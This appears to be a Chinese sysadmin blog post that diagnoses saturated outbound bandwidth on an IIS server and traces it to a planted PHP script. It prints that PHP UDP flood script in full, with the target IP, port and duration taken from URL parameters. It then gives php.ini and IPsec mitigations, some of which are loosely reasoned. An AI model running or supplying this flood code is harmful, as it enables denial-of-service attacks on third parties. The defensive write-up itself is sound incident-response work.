服务器症状: 服务器带宽应用占到 70-100%,网络堵塞,网站无法访问,远程控制也连接不上
症状分析:
- 服务器安装了流量查看软件 DU Meter,可以看到,发送的字节增长速度很快(几乎 10m/s),收到的字节很少!
- 在 cmd 里用 netstat -an 查看到服务器连接的都是同一个 ip,端口都是连续的。根据这个可以判定不是 DDOS 攻击,因为 DDOS 是不断收到大量数据包。
- IIS 限制了网站带宽,但没有效果。
- 关闭 iis,带宽过一会就正常,可以判定是网站导致的!然后一个个网站排查(从来没有见过这样的情况,通过页面调用往外发包的)
排查方法:
怀疑是 php 代码调用 sockets, 直接用服务器的网络攻击别的 IP,常见代码如下:
$packets = 0; $ip = $_GET[\'ip\']; $rand = $_GET[\'port\']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET[\'time\']; $time = time(); print \"Flooded: $ip on port $rand\"; $max_time = $time+$exec_time; for($i=0;$i<65535;$i++){$out .= \"X\";} while(1){ $packets++; if(time() > $max_time){break;} $fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); if($fp){fwrite($fp, $out); fclose($fp); } } echo \"Packet complete at \".time(\'h:i:s\').\"with $packets (\" . round(($packets*65)/1024, 2) . \"mB) packets averaging \". round($packets/$exec_time, 2) . \"packets/s \\n\"; ?>
工作原理:
通过 url 传递 IP 和端口以 udp 的方式打开. 传递文件到服务器写出。
解决方法:
在 php.ini 里设置:
disable_functions =gzinflate;
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
然后重启 IIS
如果设置了问题还没有解决,可以尝试把 udp 端口关闭!
注意: 本 ip 策略包 会关闭所有 udp 端口, 请慎用!
- 方法 1:直接运行包里的 udp.bat
- 方法 2:” 开始 ” 菜单 —“ 运行 ”— 输入 ”gpedit.msc”—“ 计算机配置 ”—“windows 设置 ”—-“ 安全设置 ”— 右击 ”ip 安全策略 ”—“ 所有任务 ”—“ 导入策略 ”— 选择包里的 ”udp.ipsec” 文件
正文完